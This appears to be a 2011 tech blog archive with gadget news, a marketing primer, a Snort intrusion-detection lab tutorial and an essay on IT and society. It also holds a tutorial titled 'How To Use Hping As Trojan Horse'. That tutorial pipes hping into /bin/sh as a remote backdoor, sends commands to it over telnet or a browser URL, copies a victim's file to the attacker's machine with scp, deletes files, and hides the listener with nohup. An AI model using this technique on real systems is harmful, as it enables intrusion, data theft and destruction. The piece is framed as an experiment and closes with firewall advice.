News Headlines

Sony PlayStation Network Hack Resulted In Stolen User Data, but Credit Card Data Was Encrypted.

Sony's PlayStation Network was attacked and lots of personal data was leaked including birth dates, names, e-mail address and it was originally though the hackers had also got hold of user credit card details. The company’s officials reported that “The entire credit card table was encrypted and we have no evidence that credit card data was taken.” But while the encryption is nice, depending on what type it is, it could still be hacked.

April 29, 2011

Google Docs is available now for Android versions 2.1 and higher

Google has released a Google Docs app, allowing you to compose and edit documents, spreadsheets, and presentations on your Android device. This Android’s native app gives users a bunch of new features that aren't available through the web browser, and it’s available for free through the Android Market (in English only at the moment). The app allows you to share items you have stored within Google Docs with the contacts you have in your phone from within the application.

Here is a list of some of the news features:
  • Designed for Android to save you time finding your docs
  • Edits to your documents appear to collaborators in seconds
  • Make quick changes to spreadsheets
  • View your documents, PDFs, images and more.
  • Upload and convert files to the Google Docs format
  • Take a photo of printed text and convert it to a Google document

Among all these amazing features, perhaps the most notable addition is the new ability to convert words found in images into a document with editable text via Optical Character Recognition (OCR). This feature breathes new life into printed text and may prove deadly to old-school book stores that invite customers to lounge around sampling books and magazines.

Unfortunately, there doesn't seem to be offline support at the moment. Maybe offline support will be added in the future.

April 17, 2011

White iPhone 4 - Coming April 26?

After a long wait of 10 months, the Apple White iPhone 4 will finally be released later this year or so it seems. The causes of this delay were "manufacturing challenges," which may have included the paint peeling under heat and "complications with a sensor."  This release was declared by Apple authorities to Wall Street Journal on Thursday. But many are still skeptical about the launch since it has already been delayed twice in the past.

According to Bloomberg, the white iPhone 4 will be available at AT&T and Verizon’s network by the end of April.
To consolidate those declarations, the white iPhone 4 developed by Apple Inc. (NASDAQ:AAPL) is starting to appear in Verizon’s inventory systems. Verizon will be selling the 16GB and the 32GB white iPhone 4 devices by the end of spring as consistent with earlier reports. So obviously, it is pretty evident that all signs point to an early white iPhone 4 release.

Previously, the white iPhone 4 appeared in Vodafone Germany’s internal inventory system and from there on out, there wasn’t any confirmation of the release. However, since the past month, we’ve been hearing a lot of rumors about the release of white iPhone 4 and the April 26 white iPhone 4 release date adds itself to the list of those rumors.
As a result of this, speculations are already being made that the launch of the next generation iPhone 5 will get delayed due to the white iPhone launch and complete silence from Apple on all these issues has only added to the mystery.

April 11, 2011

The What, Why And How Of Marketing Your Business

From creating a business plan, to a network strategy, lots of small and medium enterprises continue to fail and close their doors. Often times, this happens because of bad management or not having an audience targeted marketing plan to actually bring revenue to the company. In this article, I am going to walk you through the basics of marketing that all entrepreneurs and business owners should master to hopefully reach the goals and growth needed for their business.

What Is Marketing?
There are tones of definitions to the word marketing, and in the fast-moving world of business, it’s understandable that definitions rarely stay the same. But in short terms, marketing has been described as the process of interesting potential customers and clients in your products and/or services.

As a practice, it consists in coordination of four elements called 4P's:
  • Identification, selection, and development of a Product,
  • Determination of its Price
  • Selection of a distribution channel to reach  the customer's Place
  • Development and implementation of a Promotional strategy.
The marketing concept is a philosophy. It makes the customer, and the satisfaction of his or her needs, the focal point of all business activities. It is driven by senior managers, passionate about delighting their customers. It is founded on the belief that profitable sales and satisfactory returns on investment can only be achieved by identifying, anticipating and satisfying customer needs and desires.

Why Marketing Is So Important?
Are you starting a business, or are you already an entrepreneur? Either ways, if you are serious about building a brand and achieving success for your organization, you have to start marketing you business if you are not doing it yet. Marketing is a very important aspect in business since it contributes greatly to the success of the organization. Production and distribution depend largely on marketing. There are lots of benefits in having the right marketing strategy for the good product and not pushing more some products and disregard their wants and the value they can really bring to the customer. Here are some important reason why marketing is important:

  • Marketing Promotes Product Awareness to the Public:  You cannot afford to just let people find out about your business themselves. You have to advertise, promote and educate the public about the goods of your business. This is why a company must invest in marketing so as not to miss the opportunity to be discovered and sell its products. It’s good to have a great product but if nobody knows about it, you will make no profits. 
  • Marketing Helps Boost Product Sales:  If your company aims to increase the sales percentage and double the production, the marketing department must be able to come up with effective and strategic marketing plans. This is critical not only to generate sales, but also to build a brand and a strong reputation for a company. 

Business Marketing Plan
The most effective way to grow and expand your business is by focusing on organic growth. And basically, you can increase organic growth in four different ways. They include:
  • Acquiring more customers
  • Persuading each customer to buy more products
  • Persuading each customer to buy more expensive products or up selling each customer
  • Persuading each customer to buy more profitable products
To achieve all these goals, and bring your business to success, you need to develop a proper business marketing plan, and then gauge its performance for your business growth. Here are some points that your plan should have:

  • What Are Your Business Marketing Goals:This is simply what you want to achieve through your marketing plan. It can be sales, growth, reputation or something else. 
  • What Is Your Target Audience: It is important to have and know the target for you marketing campaign, this will not only identify the scope and range of your marketing but also prevent you for marketing your product to the wrong audience and therefore wasting your money and not getting the results that you have set for you business marketing. 
  • What Business Marketing System To Use: Internet has made business marketing a whole new concept, apart from the conventional advertisement systems in newspapers, magazines; internet or online marketing is the most used marketing system, since it is inexpensive when examining the ratio of cost to the reach of the target audience. In fact, companies can reach a wide audience for a small fraction of traditional advertising budgets. Internet marketing ties together the creative and technical aspects of the Internet, including design, development, advertising, and sales; it includes Search Engine Marketing (SEM), Search Engine Optimization (SEO), banner ads on specific websites, email marketing, and Web 2.0 strategies like social and mobile applications.

 Famous Internet Marketing Strategies
In the variety of solutions that offers the web, and depending on the marketing goals and target audience, these forms of marketing prevail:

  • Search Engine Marketing: It is a form of Internet marketing that seeks to promote websites by increasing their visibility in search engine result pages through the use of, paid placement, contextual advertising, and paid inclusion. It is different from Search Engine which aims at "optimizing" web site pages. Other parts of SEM are Social Media Marketing (SMM) and Social Media Optimisation. 
  • Affiliate marketing: Where a third party advertises products or services on behalf of a retailer in return for an agreed commission for a sale or lead. This method has proved very popular due to its' "pay for performance" model which allows a large number of affiliates to be taken on, but only rewarding those which return results.  
  • Email marketing: It is a form of direct marketing which uses electronic mail as a means of communicating commercial or fund-raising messages to an audience. It involves sending email messages, adding advertisement in email messages. 
  • Pay Per Click: It is an Internet advertising model used on websites, where advertisers pay their host only when the ad is clicked.

One last important thing is to not forget to track your marketing efforts. You will be spending money and energy on your marketing so its worth the investment to make sure everything is working as planned. If not don’t be afraid to change your strategy and make some adjustments to your marketing plan.

April 4, 2011

How To Use Snort For Network Monitoring

This report is a tutorial on the detection of potential attacks in a network through the use of the Linux tool snort to perform basic security measures. Indeed, snort is a small intrusion detection system that can listen to packets entering the network and trigger alarms if an abnormal behavior is detected. As a sniffer, snort will closely analyze the traffic in the network and can point out some safety issues before they become too serious.

In this tutorial, we are going to set up a small network of 3 machines, then install and export an FTP service and then sniff all incoming packets to alert any packet transmission from the outside that does not include service exported to the network (FTP). For this purpose, the work is divided into three parts: we will start by installing an FTP service and make it available to users inside and outside the LAN.
 We will also put a signaling mechanism of any attempt to access from the outside to any application outside of FTP using Snort rules.

Here is the local network used for this experiment. The network installed here is a little different because it is just a subset of 3 machines in a bigger network. Here is the topology we are going to use:

IP addresses assigned to machines are summarized in this table.

Equipment IP Address Interface Default Gateway
Firewall / IN & OUT eth1Dhcp
Post LAN eth0 Dhcp
FTP eth0 Dhcp
External machine wlan0Dhcp

Interface Configuration
For the basic configuration of the network, we will use the DHCP service. So for all machines in this configuration, we have an IP address for a certain leased period. The addresses obtained by DHCP are those summarized in the table above and will be used throughout this experiment.

FTP server configuration
We will install an FTP server to enable internal and external users of the LAN to perform file transfers. We can perform this installation by using the synaptic package manager or by using the command apt-get install for the following packages:
proftpd-basic, proftpd-mod-ldap, proftpd-mod-pgsql proftpd-mod-mysql
After installation we can locally test the proper functioning of the server.

 Firewall Configuration
A firewall is a network component, which acts as a barrier to control all traffic, in or out of the network. It allows you to block unauthorized access and allows only authorized communication. But in our case, we will not block anything. We will implement in the firewall some simple rules whose sole purpose is to redirect FTP requests to the FTP server. Thus external users can do FTP through the firewall which will act as an intermediary between the client and the server located in a machine on the LAN.
To implement this mechanism, we will use iptables and define rules for the firewall management.

Enable routing
Enable the firewall to act as router and gateway for the transmission of
packets on the LAN machines.

echo 1> / proc/sys/net/ipv4/ip_forward

•    IP Address Translation
This refers to all machines on the local network to masquerade as the firewall to exit the local network, this is necessary for the FTP server for all responses and requests received from outside the firewall must go through the firewall, and the firewall will respond by going to the FTP server.

iptables -t nat -A POSTROUTING -o eth1 -j MASQUERADE
The semantics of this command is as follows: After determining the route of package, the firewall will change the sender address before sending the packet to outside the network.
•    Redirect incoming FTP requests to the FTP server
No service is available or implemented on the firewall machine, so for each query that happens, the firewall must redirect to the server responsible for responding to query type. So here we'll redirect all requests to the FTP port to the FTP server at 192,168,106,171.

iptables -t nat -A PREROUTING -j DNAT -i eth1 -p tcp --dport 21 --to-destination
One can notice the keywords as PREROUTING that tells the firewall to forward packets addressed to port 21 to the post address
For the FTP server to operate properly, additional rules must be added. In fact, most FTP servers use other ports that allow for customers to switch to passive mode, which corresponds to the mode of data transfer. These ports are configured as an interval at the FTP server in the file /etc/proftpd /proftpd /conf. To do this, simply uncomment the following line:
PassivePorts 49152 65534
We'll also make a redirection of previous requests on these ports.

iptables -t nat -I PREROUTING -p tcp -i eth1 --dport 49152:65534 -j DNAT --to

•    Allow any other input communication.
As we said earlier, everything is allowed for everyone, so we have allowed all communications input and output. So the firewall will receive all requests and respond if possible. All that will save it in log files all external communications that are not FTP requests.


Another precaution to take to enable the FTP server to work for all external accesses, we must indicate the IP address of the firewall to the FTP server to make the address translation possible. This is once again in the file /etc/ proftp/proftp.conf by ensuring the existence of the following line.


Snort Rules
In this section, we discuss the configuration of snort application, to enable the detection of suspicious transactions. The policy of this detection is as follow:
For users inside the network: Everything is allowed, hence no control and no
alert in the internal network.
For users outside the network: only the FTP service is permitted with no control, therefore
all requests to another service will be saved as alerts.
To implement this policy, we will use snort rules. We will firstly alert all packets on a TCP port other than FTP ports from outside, and secondly we will alert all udp and icmp queries from outside.
•    TCP Alerts
It is important to know the ports involved in the FTP transport because, it does not use only the port 21. FTP also uses control ports (30000:49152) and ports necessary to transfer in passive mode (49152:65534). In definitive, in our snort rules we must include on behalf of FTP ports the interval: 21,30000:65534.

alert tcp ![,] any -> ![21,30000:65534] (msg:“EXTERNAL TCP ACCESS”; sid:400; rev:1;)
This is to alert all incoming packets at the firewall with a different port than the ports used by FTP and providing from a machine that does not belong to the local network identified here by the two machines [,].
•    UDP Alerts
This is to alert all incoming packets at the firewall using the UDP protocol and providing from a machine that does not belong to the local network identified here by both machines [,].

alert udp ![,] any -> any (msg:“EXTERNAL UDP ACCESS”; sid:401; rev:1;)

•    ICMP Alerts
This is to alert all incoming packets at the firewall using the ICMP protocol and providing from a machine that does not belong to the local network identified here by both machines [,].

alert icmp ![,] any -> any (msg:“EXTERNAL ICMP ACCESS”; sid:402; rev:1;)

Thus even the ping will be alerted.

Tested And Results
Here we are going to directly see how snort reacts to different types of transmissions. We must first of all, start the snort application to listen on interface eth1 of the firewall, with our file of rules as input.
Cmd: snort-v-i eth1-c tpsnort.rules

Local machine
We used the ping and ftp commands to test the behavior of snort with TCP and ICMP traffic.
•    Ping
After running the command ping from the local station with the address 192 168 106 172 (we stopped the ping after 9 packets sent)

Here are the statistics obtained from snort.

We note that the firewall has responded to all the requests sent without triggering
no warning.
•    Ftp
Similarly, after running the command ftp -p from local machine at 192,168,106,172, we initiated a connection with an existing user. Here is an overview of commands executed.

Here are the statistics obtained from snort.

Similarly, we find that the FTP server responded to requests sent to through the firewall but without triggering any alarm. This is normal because the FTP service is never alerted. Whether when approached from the outside or inside the network.

Distant machine
Similarly, we will use the ping, ftp and ssh to see the behavior of snort.
•    Ping
After running the command ping from an external machine with
address 192 168 106 128 (we stopped the ping after 7 packets sent)

Here are the statistics obtained from snort.

We note that the firewall has responded to the requests sent and also triggered alerts for each packet which is normal because only the external FTP requests are not alerted. For more information about cached packets, we can read the log from snort
/var/ log/snort /alert where we can see information on five packages.

Here is a sample of packet.

[**] [1:402:1] "EXTERNAL ACCESS ICMP [**]
[Priority: 0]
01/18-19: 29:31.414249 192168106128 -> 192168106179
ICMP TTL: 64 TOS: 0x0 ID: 0 IpLen: 20 DgmLen: 84 DF
Type: 8 Code: 0 ID: 25627 Seq: 10 ECHO

•    Ftp
Similarly, after running the command ftp -p 192,168,106,179  from an external machine with address  We performed the same operations as previously.
Here are the statistics obtained from snort.

We note that the firewall has responded to all the requests sent without triggering no warning. This is normal.
•    Ssh
We here wanted to see the behavior of snort against another type of TCP packet
other than FTP. We attempt a connection to this server ssh at the firewall.

Here are the statistics obtained from snort.

We note that the firewall has responded to requests sent and also triggered alerts for each packet which is normal because only the FTP requests are not alerted from outside. We can also check the log and we will see packets of like this.
[**] [1:400:1] “EXTERNAL TCP ACCESS” [**]
[Priority: 0]
01/18-19:47:22.618458 ->
TCP TTL:64 TOS:0x0 ID:57949 IpLen:20 DgmLen:60 DF
******S* Seq: 0x3045FB1A Ack: 0x0 Win: 0x16D0 TcpLen: 40
TCP Options (5) => MSS: 1460 SackOK TS: 399687 0 NOP WS: 6

Hence we can conclude that our firewall and the snort application runs
exactly as we wanted.

At the end of this work, which involved using the snort application to perform a basic detection of suspicious behavior in a network, it is clear that given the risk of leakage, securing a network is a task not taken lightly. In effect, with Snort, we can specify rules that allow us to analyze each packet entering the network and trigger alerts if necessary with specific messages describing the observed behavior. This is important for all network administrators because, this way they can have a global view of all transmissions performed within the network.

April 3, 2011

How To Use Hping As Trojan Horse

A Trojan horse is a program performing malicious operations on a computer without the knowledge of the computer’s user. It is a program hidden in another that executes sneaky  commands (imagine a false files listing command, which destroys files, instead of displaying the list), and generally tries to use the rights belonging to its environment to divert, distribute or destroy information, or to open a backdoor that allows an attacker to remotely take control of a computer. The objective of this tutorial is purely experimental; it’s to show you how to use the Hping utility to initiate a Trojan horse attack.

Hping is software that works by sending TCP, UDP, ICMP or other packets types to a destination port and then pointing the packets it receives in return. While Hping was mainly used as a security tool in the past, it can be used in many ways by people who do not care about security to test networks and hosts. Thus we will use it for this tutorial to see one of its options which is launching a Trojan on a remote machine (target). For this, we will initially consider the conditions and the operating principle of a Trojan, and then we'll see how to use different features for Hping to take control of the target machine and to perform all operations that we want.

Condition Of Attack
In this first part, we will have a closer look at how a Trojan can infect a machine, and define the steps that we're going take in order to use the Hping utility as a Trojan.

Operation Trojan Horse
The principle of Trojans are usually (and more) to open a port on your machine to allow an attacker to gain control (such as stealing personal data stored on the disk, change or duplicate some files), the aim of the attacker is firstly to infect your machine by making you open an infected file containing the Trojan program and a secondly to access your machine through the port it opened. However in order to infiltrate your machine, the attacker must usually know the IP address, since he did not physically access your machine. Once the malicious code executed or copied to your machine, the hacker can take advantage of the opened door to reach his goal.

Hping as trojan
In general, this attack takes place in two phases. A first step is to launch a certain command on the target machine, so it can be tuned to a certain signal and respond according to the manner sought by the attacker. The second phase takes place on the side of the attacker, it will send a signal to an open port on the target machine and this signal will cause the execution of an order command specified by the attacker. The most difficult phase for the attacker is the first, because he must find a way to start listen command on the target machine. This can be done by physical access, that is to say by running the command directly on the machine from a legitimate account of the machine, or can proceed by making him remotely open a file (a website link) that will then perform the copy and launch a script in the machine that will start running this command.

 Running The Attack
To better illustrate the course of this attack, we need two machines. The target machine and the pirate machine and a cloud that symbolizes a connection between two machines. In both target side as the attacker side, there are things to be done before the attack can go as planned.

Target side
This is the command to run on the target machine so that it will be listening for a signal and commands from the attacker.
This command is: hping - 9 signature | / bin / sh
This is an extract from the manual explaining this command.
 -9 - Listen signature: Listening Mode HPING2, waiting for a packet containing signature and interprets the following character as a result of signing.
Example if you enter the command  hping -9 TEST and a packet containing 234-09sdflkjs45-TESThello_world, (le; mark) is received, hping will display hello_world because it is the string that follows directly the signal TEST.

Here we will make a pipe with the shell in order to redirect the results of hping to the shell (/ bin / sh). We will therefore result in the execution in the shell, of the string that follows the signal.
With the command hping - 9 signature | / bin / sh, if the received packet contains signaturels; ls will be executed on the command prompt.

Side attacker
Once the command is run on the client, the hping program is then waiting for a signal, it’s now just for the hacker to scan and obtain an opened port on the target machine and to send a message containing the expected signal followed by the command to execute. This can be done very easily using the remote connection utility telnet specifying the destination port. For example if the FTP port (21) is open on the target machine, we can use to send our message. To do this, simply:
  •  telnet ip_cible 21
  •  signaturels;

Tests And Results
Here we will make an illustration of this attack using initially the telnet utility to send the signal to the target machine, and then we will use an application of a specific protocol as a web browser to send the signal and control.

Testing with telnet
We will test here the use of hping as a trojan with the telnet protocol. Telnet enables us to establish a connection from the attacker machine to the target machine and run the signals and perform commands from the attacker machine. For this test we will use the machines:
  •  The target computer is
  •  The computer pirate is
First, we perform a port scan to know the ports on the target machine, and these ports will be used to send our signal.
For this we use the command: hping -8 1-1024. Here we scan the ports from 1 to 1024.

Figure 1: Exploring the opened ports

We find that there are five opened ports with SYN and ACK header. This means that there is an application listening on those ports. So we can attack using one of the three ports above. The port here is that we will use TCP port 25, which corresponds to the mail service.
We are going to run the command Hping on the target machine to bring it into listening mode.

Figure 2: Listening to the target computer

From the machine pirate, we will initiate a TCP connection to port 25 with telnet.

Figure 3: Connect to the target computer

Here, we will send a message with the ls command to view files in current directory to the target computer. We will send a TCP packet to the port 25 with groupe2ls contents; With the goal to send the signal group2 and the ls command.

Figure 4: send the ls command to the target computer

The hacker’s computer sent the signal groupe2ls to the target computer and obviously, the answer is command not recognized because the mail server does not understand this command. But the message is still received by the machine so by hping.

Figure 5: captures messages exchanged

On this output captured with wireshark, we can observe the exchange of packets between the target and the attacker. At the target computer, hping is waiting for messages sent by the computer hacker. With groupe2ls message, it will understand that the actual command is ls, so the list of files in current directory on the target computer will be displayed:

Figure 6: Output of ls

Figure 7: A direct result of the ls command

We can see the result of the ls command input directly on the command prompt on the target machine, it can be seen by comparison that the two results are similar.

Tests with the http protocol
We used the telnet protocol to attack the target computer. In this session we want to show that you can use any protocol to perform the attack. However a necessary condition is that the port matches the protocol is open on the target machine. We will attack this time via the port 8080. A port scan shows the presence open port 8080.

Figure 8: http port 8080 is opened

Here we will use the web browser to send our message. To do this, simply type in the following address in the Address bar:; That is to say it contacts the web server on the target machine with port 8080.

Figure 9: Using the web browser

Obviously this url does not correspond to any page on the server. But it is sufficient to send the message, and trigger the expected signal. At the target the result is the same as before, we will have on the command prompt the list of files and directories of the current directory.

Other Applications
Because we now have control over the command line, we can send any other command instead of ls in the previous examples. We will present some examples of very simple commands but dangerous enough that we can apply.

Copy files
The majority of pirates are driven by research information. It is thus possible to copy files from the target computer. The example used here is with the secure copy utility that allows us to copy files remotely. Secure Copy uses a secure SSL connection over SSH to provide security and information transportation. Therefore a condition for this to work is that port 22 for ssh protocol is open in the target computer. We use telnet and SMTP port 25 for sending the order. It will copy the file named toto located on the target computer.
The command is as follows: groupe2scp root@ toto /home/dannv The command will copy the file toto remote and put it in the directory /home/dannv on the hacker’s computer

Figure 10: send the secure copy command

On the figure below, we can confirm the success of the copy operation.

 Figure 11: Secure Copy with knewest

Deleting or modifying files
We can also delete or edit a file. Here's an example:

Figure 12: delete the file toto

We send the control rm toto to the target computer to delete this file. The file toto will be deleted.

Execution of malicious files
We can also start the execution of malicious files previously copied to the target machine. This copy can be done in several ways: it can be done with a Secure Copy Machine attacker to the target machine. We may also use some false links on websites, which will download the executable files on the target machine.

Nowadays this technique is still exploitable on systems without security. However there is a very complex constraint that is to launch our hping listening on the remote system, besides the hping command must be run with administrative rights which make things even harder for hackers. Otherwise, whatever the protocol used, the result is the same. Fortunately, there are ways to block this type of attacks.
To protect against this kind of intrusion, simply install a firewall, that is to say a program filtering incoming and outgoing communications from your machine. A firewall (literally firewall) allows one hand to see communications going out of your machine (so normally initiated by programs you use) or incoming communications. On linux, it is very easy to filter communications.  A command like iptables inserted in a file that runs whenever you start the machine may be sufficient to allow or deny certain packets. For more information see the iptables man on Unix systems. On systems like Windows, there is a firewall installed by default by the system. Simply activate it and whenever he can detect connections from malicious hackers. If a program whose origin is unknown to you tries to open a connection, the firewall will prompt you to initiate the connection. It is essential not to allow the connection to programs you do not know, because it may very well be a Trojan. We can make this attack much more subtle, using the command nohup. This feature allows you to hide the shell window in which hping is listening on the target computer. This method is very necessary if we can only manipulate the target computer during a very short time.

In conclusion of this tutorial, about using the program Hping to initiate a Trojan attack, according to our experiment, the attack is still possible today on Unix systems and also on Windows. A necessary condition for this to work is to run the command Hping on the target machine, and after whatever the utility or the protocol used, the result is the same. Because the pirate now has the control of your command line so he can make anything he wants:  collect information, copy, delete, modify or duplicate files on the target machine. But fortunately with a simple firewall and user awareness can thwart these attacks very effectively.

The Most Important Effects Of Information Technology On The Society

The aim of this report is to address the effects of Information Technology on the society. Technology is increasingly playing a crucial role in the success of organizations in the information age. The impact of Information Technology has been enormous on various domains like business, education, medicine etc... Computers and the information they process and store have transformed every aspect of the society. This rapid evolution of IT has good and bad impact on our everyday life. This paper will summarize the key aspects of human interaction and others domain that may be affected by the new technologies.


Information technology (IT) is "the study, design, development, implementation, support or management of computer-based information systems, particularly software applications, computer hardware and mobile devices."IT deals with the use of electronic computers and computer software to convert, store, protect, process, transmit, and securely retrieve information. Many companies now have IT departments for managing the computers, networks, and other technical areas of their business. IT jobs include computer programming, network administration, computer engineering, Web development, technical support, and many other related occupations.

Since we live in the "information age," information technology has become a part of our everyday lives, that's why the purpose of this article is to look at the impact of information technology on our society. Knowing that any invention has advantages and drawbacks, we are specifically interested to the most important effects of information technology on any aspect of the society.

To reach this goal, we will firstly present information technology and its different characteristics, then we will investigate the actual effect of IT by stating some arguments for and then against IT and finally we will make a little summary just to say that, despite some remarkable drawbacks, IT is very necessary because there are many tasks that would be impossible without the use of IT. Air-traffic control, credit cards, space travel and medical research are just some examples.

Information Technology

Information technology is comprised of computers, networks, mobile and wireless devices, satellite communications, robotics, videotext, cable television, electronic mail ("e-mail"), electronic games, and automated office equipment. The information industry consists of all computer, communications, and electronics-related organizations, including hardware, software, and services. Completing tasks using information technology results in rapid processing and information mobility, as well as improved reliability and integrity of processed information.

There have been tremendous changes in the ways people live, work and play over the past three decades. The past ten years or so have seen changes at a much faster pace. Technological innovation and entrepreneurship have been the key players in promoting these changes. The rapid pace at which IT is changing means five to ten years from now lifestyles will be a lot different from what they are today. Nowadays we have some very good products both in the hardware industry and in the application industry. Companies like, facebook, google and twitter have completely revolutionized how people communicate and share information. In the device world we have big industries like Microsoft, apple and Samsung that are paving the way for the future generation by introducing revolutionary devices and applications.

Advantages Of Information Technology

Everyday, people use technology in new ways. Computers are increasingly affordable; they continue to be more powerful as information-processing tools as well as easier to use. Some of the advantages of information technology include:

Globalization - IT has not only brought the world closer together, but it has allowed the world's economy to become a single interdependent system. This means that we can not only share information quickly and efficiently, but we can also bring down barriers of linguistic and geographic boundaries and countries are able to shares ideas and information with each other.

- With the help of information technology, communication has also become cheaper, quicker, and more efficient.  The internet has also opened up face to face direct communication from different parts of the world thanks to the helps of video conferencing. Many collaboration platform have been built in addition to face to face call via mobile devices like iphone.

Cost effectiveness - Information technology has helped to computerize the business process thus streamlining businesses to make them extremely cost effective money making machines. This in turn increases productivity which ultimately gives rise to profits that means better pay and less strenuous working conditions.

More time - IT has made it possible for businesses to be open 24 x7 all over the globe. This means that a business can be open anytime anywhere, making purchases from different countries easier and more convenient.

Creation of new jobs
- Probably the best advantage of information technology is the creation of new and interesting jobs. Computer programmers, Systems analyzers, Hardware and Software developers and Web designers are just some of the many new employment opportunities created with the help of IT.

Inconveniences  Of Information Technology   

Some disadvantages of information technology include:

Unemployment - While information technology may have streamlined the business process it has also created job redundancies, downsizing and outsourcing. This means that a lot of lower and middle level jobs have been done away with causing more people to become unemployed.

Privacy - Though information technology may have made communication quicker, easier and more convenient, it has also bought along privacy issues. From cell phone signal interceptions to email hacking, people are now worried about their once private information becoming public knowledge.

Lack of job security - Industry experts believe that the Internet has made job security a big issue as since technology keeps on changing with each day. This means that one has to be in a constant learning mode, if he or she wishes for their job to be secure.

Dominant culture - While information technology may have made the world a global village, it has also contributed to one culture dominating another weaker one. For example it is now argued that US influences how most young teenagers all over the world now act, dress and behave. Languages too have become overshadowed, with English becoming the primary mode of communication for business and everything else.

Information Technology In Some Domains

In summary, one can easily see that computer related technologies have a strong impact on the world. These have attracted many students and professionals to the field of information technology. There are thousands of fields that use these technological opportunities in other to boost work's cost effectiveness. These fields include:

 Business - One of the first and largest applications of computers is keeping and managing business and financial records. Similar programs and databases are used in such business functions as billing customers; tracking payments received and payments to be made; and tracking supplies needed and items produced, stored, shipped, and sold. In fact, practically all the information companies need to do business involves the use of computers and information technology.

Medicine - Information technology plays an important role in medicine. For example, a scanner takes a series of pictures of the body by means of computerized axial tomography (CAT) or magnetic resonance imaging (MRI). A computer then combines the pictures to produce detailed three-dimensional images of the body's organs. In addition, the MRI produces images that show changes in body chemistry and blood flow.

 Science and Engineering - Using supercomputers, meteorologists predict future weather by using a combination of observations of weather conditions from many sources, a mathematical representation of the behavior of the atmosphere, and geographic data. Computer programs make it possible for engineers to analyze designs of complex structures such as power plants and space stations.

 Education - The technology available today has made a wealth of knowledge available to students, which offers great potential for the speed and style of learning. Information is presented in so many ways that any type learner, whether gifted or disabled, can find and use the necessary material. With e-learning the information on the Internet is available for all who have access, without discrimination.


At the end of this report, with the objective to present the information technology and to study the impact of these new technologies to the society, it is clear that the computer age is here; this cannot be debated. In many aspect of our society, we found IT efficient in solving complex problems at a very small type. It can perform enormous number of functions and operations that human cannot do. As result of the use of IT we can have cost effectiveness, globalization, communication and new jobs creation. Despite all these advantages, the IT world faces some remarkable disadvantages; privacy of information is an issue but the most important drawback is unemployment because many task initially done by human, are now done by computer. Nonetheless, it is said that in some scopes like education, technology can enhance traditional methods of learning but cannot replace the human touch.